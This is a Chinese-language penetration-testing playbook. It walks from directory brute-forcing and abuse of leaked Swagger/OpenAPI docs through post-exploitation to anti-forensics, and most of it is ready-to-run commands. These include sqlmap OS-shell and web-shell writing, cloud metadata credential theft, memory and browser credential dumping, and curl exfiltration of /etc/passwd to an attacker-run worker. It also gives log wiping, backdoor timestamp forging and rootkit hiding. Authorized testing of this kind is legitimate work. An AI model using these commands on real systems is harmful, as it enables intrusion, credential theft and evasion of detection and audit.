1. 目录扫描实战技巧与工具选型在渗透测试的初期阶段目录扫描是最基础却至关重要的环节。不同于简单的暴力破解高效的目录扫描需要结合目标特征、常见路径规律和智能化的工具使用。以下是经过实战验证的五个核心技巧1.1 基于响应特征的智能过滤传统扫描工具如DirBuster会机械地尝试所有字典条目产生大量无效请求。我推荐使用带智能过滤的扫描方式ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302,403 -fs 0关键参数解析-mc 200,301,302,403只关注有意义的状态码-fs 0过滤掉返回内容长度为0的响应常见于空页面-t 50调整线程数避免触发WAF默认40实测案例在某次企业测试中标准字典扫描返回4872个结果经智能过滤后仅剩23个有效路径其中包含关键的/admin/backup目录。1.2 多维度字典组合策略单一字典的覆盖率有限我通常采用三级字典组合基础字典使用common.txt包含2000个最常见路径技术栈字典根据识别到的技术生成如WordPress用wp-content/plugins动态生成字典通过爬虫提取页面中的链接特征如/api/v1/*推荐使用以下命令进行组合扫描cat base.txt tech_custom.txt generated.txt | sort -u combined.txt gobuster dir -u https://target.com -w combined.txt -x php,asp,aspx,jsp1.3 隐藏路径的探测技巧某些关键路径不会出现在常规字典中需要特殊技巧备份文件探测尝试在已知路径后添加.bak、.swp等后缀ffuf -w paths.txt -u https://target.com/FUZZ.bak -mc 200时间戳爆破针对按日期命名的备份如20240310_backup.zip大小写变异Windows服务器对大小写不敏感/ADMIN可能可访问1.4 避免触发防御的实战参数高强度的目录扫描极易触发WAF封锁这些参数能提高隐蔽性ffuf -w wordlist.txt -u https://target.com/FUZZ \ -H User-Agent: Mozilla/5.0 (Windows NT 10.0) \ -delay 100ms-500ms \ -p http://proxy:8080 \ -replay-proxy http://127.0.0.1:8081重要提示设置-delay参数模拟人类操作间隔配合代理链能有效隐藏源IP。我曾通过添加随机延迟成功绕过Cloudflare的速率限制。1.5 结果验证与误报处理扫描结果需要二次验证以避免误报状态码欺骗某些服务器对所有路径返回200解决方案比较响应内容长度和哈希值curl -s https://target.com/real | md5sum curl -s https://target.com/fake | md5sum重定向陷阱登录页面可能将未授权请求重定向到首页解决方案检查Location头或最终URLcurl -I https://target.com/admin | grep Location2. 接口文档泄露的深度利用当发现swagger.json、openapi.yaml等接口文档时意味着拿到了系统的设计图纸。以下是分步骤的深度利用指南2.1 快速定位关键接口使用jq工具快速解析Swagger文档curl -s https://target.com/swagger.json | jq .paths | keys典型的高危接口特征包含/admin/、/api/v1/user等路径使用GET方法执行DELETE操作的接口未定义权限要求的接口security: []2.2 参数自动化测试编写自动化脚本测试所有接口参数import requests docs requests.get(https://target.com/swagger.json).json() for path, methods in docs[paths].items(): for method, spec in methods.items(): params {param[name]: for param in spec.get(parameters, [])} r requests.request(method, fhttps://target.com{path}, paramsparams) if SQL syntax in r.text: print(fVulnerable: {method} {path})2.3 未授权访问漏洞挖掘检查接口的securitySchemes定义security: [{ api_key: [] }]若实际请求中未包含相应鉴权头则可能存在未授权访问。实战案例某金融系统文档显示/api/account/balance需要API Key但直接访问返回了所有用户余额因为后端未实际校验。2.4 接口组合攻击通过文档理解业务流后可构造高级攻击密码重置流程绕过正常流程POST /send_otp→POST /verify_otp→POST /reset_password攻击直接调用/reset_password并提供已知用户ID批量操作漏洞文档显示DELETE /users/{id}支持单个删除实际测试DELETE /users/1,2,3可能成功批量删除2.5 历史版本对比通过.git泄露或备份找到旧版接口文档比较差异diff (curl -s https://target.com/swagger-v1.json) (curl -s https://target.com/swagger-v2.json)常见收获被移除但未下线的危险接口权限校验从严格变为宽松的接口新增的测试接口如/api/test/clear_data3. 后渗透阶段的数据提取技术获取初步访问权限后需要系统性地提取敏感数据。以下是经过实战检验的五个关键步骤3.1 数据库自动化扫描使用SQLMap的进阶技巧sqlmap -r request.txt --batch --level5 --risk3 --tampercharencode \ --os-shell --prefix) --suffix-- -关键参数说明--prefix/suffix针对特定SQL注入场景的闭合语句--tamper选择适合目标WAF的混淆脚本--os-shell尝试直接获取系统shell避坑提示当遇到secure_file_priv限制时可尝试写入Web目录而非系统目录--file-write/tmp/shell.php --file-dest/var/www/html/images/shell.php3.2 云环境元数据利用针对AWS/Azure/GCP云服务器的特殊攻击面# AWS curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Azure curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version2021-02-01 # GCP curl -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/典型收获IAM临时凭证SSH私钥云存储访问密钥3.3 内存数据抓取当数据库无法直接访问时从内存提取敏感信息# Linux进程内存扫描 strings /proc/PID/mem | grep -i password # Windows使用procdump procdump.exe -ma PID配合自动化分析import re dump open(memory.dmp).read() print(re.findall(b[A-Za-z0-9]{32}, dump)) # 查找可能的API密钥3.4 浏览器数据提取针对已登录用户的浏览器数据# Chrome密码解密需用户密码 python3 chrome_password_decrypt.py --keychain # Cookie导出 sqlite3 ~/.config/chrome/Default/Cookies SELECT * FROM cookies自动化工具推荐LaZagne全平台凭证提取MimikatzWindows凭证抓取3.5 网络流量嗅探在内部网络部署嗅探tcpdump -i eth0 -w traffic.pcap port 80 or port 443 or port 8080分析技巧tshark -r traffic.pcap -Y http.request.methodPOST -T fields \ -e http.host -e http.request.uri -e http.file_data4. 痕迹清理与反取证技术完成渗透后专业的痕迹清理同样重要。以下是分级清理方案4.1 基础日志清理Linux系统# 清除当前用户历史 history -c rm ~/.bash_history # 针对性删除日志条目 sed -i /192.168.1.100/d /var/log/auth.logWindows系统# 清除事件日志 wevtutil cl System wevtutil cl Security wevtutil cl Application4.2 文件时间戳伪造修改文件元数据# Linux touch -t 202301010000 /tmp/backdoor.php # Windows powershell -c (Get-Item backdoor.exe).CreationTime01/01/2023 00:00:004.3 内存痕迹清除高级内存清理技术// 覆盖敏感内存区域 void *ptr malloc(SIZE); memset(ptr, 0, SIZE); free(ptr);4.4 网络层隐蔽使用合法云服务建立隐蔽通道# 通过Cloudflare Workers转发流量 curl https://your-worker.dev/ -H X-Real-IP: 1.1.1.1 \ --data-binary /etc/passwd4.5 反取证技巧文件隐藏在Windows中使用ADSAlternate Data Streamecho malicious code legit.txt:evil.txtRootkit技术挂钩系统调用隐藏进程和文件合法工具滥用使用PsExec等白名单工具进行横向移动法律提示所有渗透测试必须获得书面授权测试完成后应完整保留操作日志供审计。本文技术仅限授权测试使用。